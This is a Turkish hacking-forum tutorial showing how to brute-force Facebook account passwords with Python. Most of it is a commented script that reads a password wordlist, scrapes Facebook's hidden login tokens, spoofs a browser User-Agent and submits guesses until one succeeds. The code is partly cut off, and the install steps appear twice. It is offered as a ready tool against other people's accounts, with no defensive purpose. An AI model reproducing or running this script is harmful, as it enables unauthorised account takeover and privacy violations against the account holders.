Onaylı Üye
Merhaba Ben Aporlorxl23.
Sizlere Nasıl Python İle Facebook`Da Bruteforce İşlemi Nasıl Yapılır Onu Göstereceğim.

İlk Olarak Python Yazabileceğimiz Bir Program Gerekiyor.
Sornasında Kodlamya Başlayabiliriz.
Ondan Önce Kütüphaneleri İndirmemiz Gerekiyor.
Bunun İçin CMD`Ye Consola Bunları Yazmamız Gerekiyor:
pip install requests
pip install bs4
Kütüphanerelimiz İndirdikten Sonra Başlayabiliriz.
Sizlere Nasıl Python İle Facebook`Da Bruteforce İşlemi Nasıl Yapılır Onu Göstereceğim.
İlk Olarak Python Yazabileceğimiz Bir Program Gerekiyor.
Sornasında Kodlamya Başlayabiliriz.
Ondan Önce Kütüphaneleri İndirmemiz Gerekiyor.
Bunun İçin CMD`Ye Consola Bunları Yazmamız Gerekiyor:
pip install requests
pip install bs4
Kütüphanerelimiz İndirdikten Sonra Başlayabiliriz.
Python:
import requests
from bs4 import BeautifulSoup
Kod:
Wordlist Patch>> ") #Wordlist Dosyasının Adını İstedik.(Bu Oluşturduğumuz Python Dosyası İle Aynı Yerde Olması Laızm)
File = open(Patch, "r") #İsimini Verdiğimiz Wordlist Dosyasını Okuduk
for Password in File: #Wordlist`in İçindekileri Password Adında Bir Değişkene Atadık
Password = Password.strip() #Gereksiz Boşlukları Kaldırdık
Payload = {
"email":Email,
"pass":Password,
"login":"Giriş+Yap"
}
#Burada Facebookun Öğreyi İnceleden Edindiğimiz Bilgileri Yazdırdık
Url = "https://m.facebook.com/login/"#Sayfamızı Belirttik
R = requests.get(Url)#Requests Moduülü Sayesinde Sayfanın HTML Kodunu Çektik
Soup = BeautifulSoup(R.content, "html5lib") #BeautifulSoup İle Sayfanın HTML Kodlarını html5lib Formatıyla Okumusanı Ayarladık
Agent = {"User-Agent":"Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:72.0) Gecko/20100101 Firefox/72.0"} #Requests Modulunun Bu Yani İnternetten Tarayıcısı İle Gir Dedik
Payload["lsd"] = Soup.find(attrs={"name":"lsd"})["value"]#Burada Her Facebook`a Girdiğimizde Değişen Özelliklerin Valuesinin Yani Değerini Çektik Bunlar Olmadan Giriş Yapamayız
Payload["jazoest"] = Soup.find(attrs={"name":"jazoest"})["value"]
Payload["m_ts"] = Soup.find(attrs={"name":"m_ts"})["value"]
Payload["li"] = Soup.find(attrs={"name":"li"})["value"]
Payload["try_number"] = Soup.find(attrs={"name":"try_number"})["value"]
Payload["unrecognized_tries"] = Soup.find(attrs={"name":"unrecognized_tries"})["value"]
#Valueleri Çektik, Ve Payloada Ekledik
R = requests.post(Url,data=Payload, headers=Agent)#R Değişkenine requests Modluünün Sayfaya Girmesini Ve data=Payload Kısmıda Ne Yapacağını Ayarladık Ve Nasıl Hangi Ayarda Girceğini headers=Agent Sayesinde Ayarladık
if "Şifreni mi Unuttun?" in R.text: #Eğer R.text HTML Kodunda Şifreni mi Unuttun? Var İse Şifrenin Hatalı Olduğnu Ekrana Bastırdık
print("[-] Password Not Found>> "+Password)#Ekrana Yalnış Şifreyi Bastırdık.
else:#Eğer Yoksa Durumu
print("[+] Password Found>> "+Password)#Doğru Şifreki Ekrana Bastırdık
break#Burda İse Şifreyi Bulduğumuz İçin Diyer Şifreleri Denememsi Gerektiği İçin Programı Durdurduk.
Bağlantıları görmek için lütfen
Giriş Yap
Bağlantıları görmek için lütfen
Giriş Yap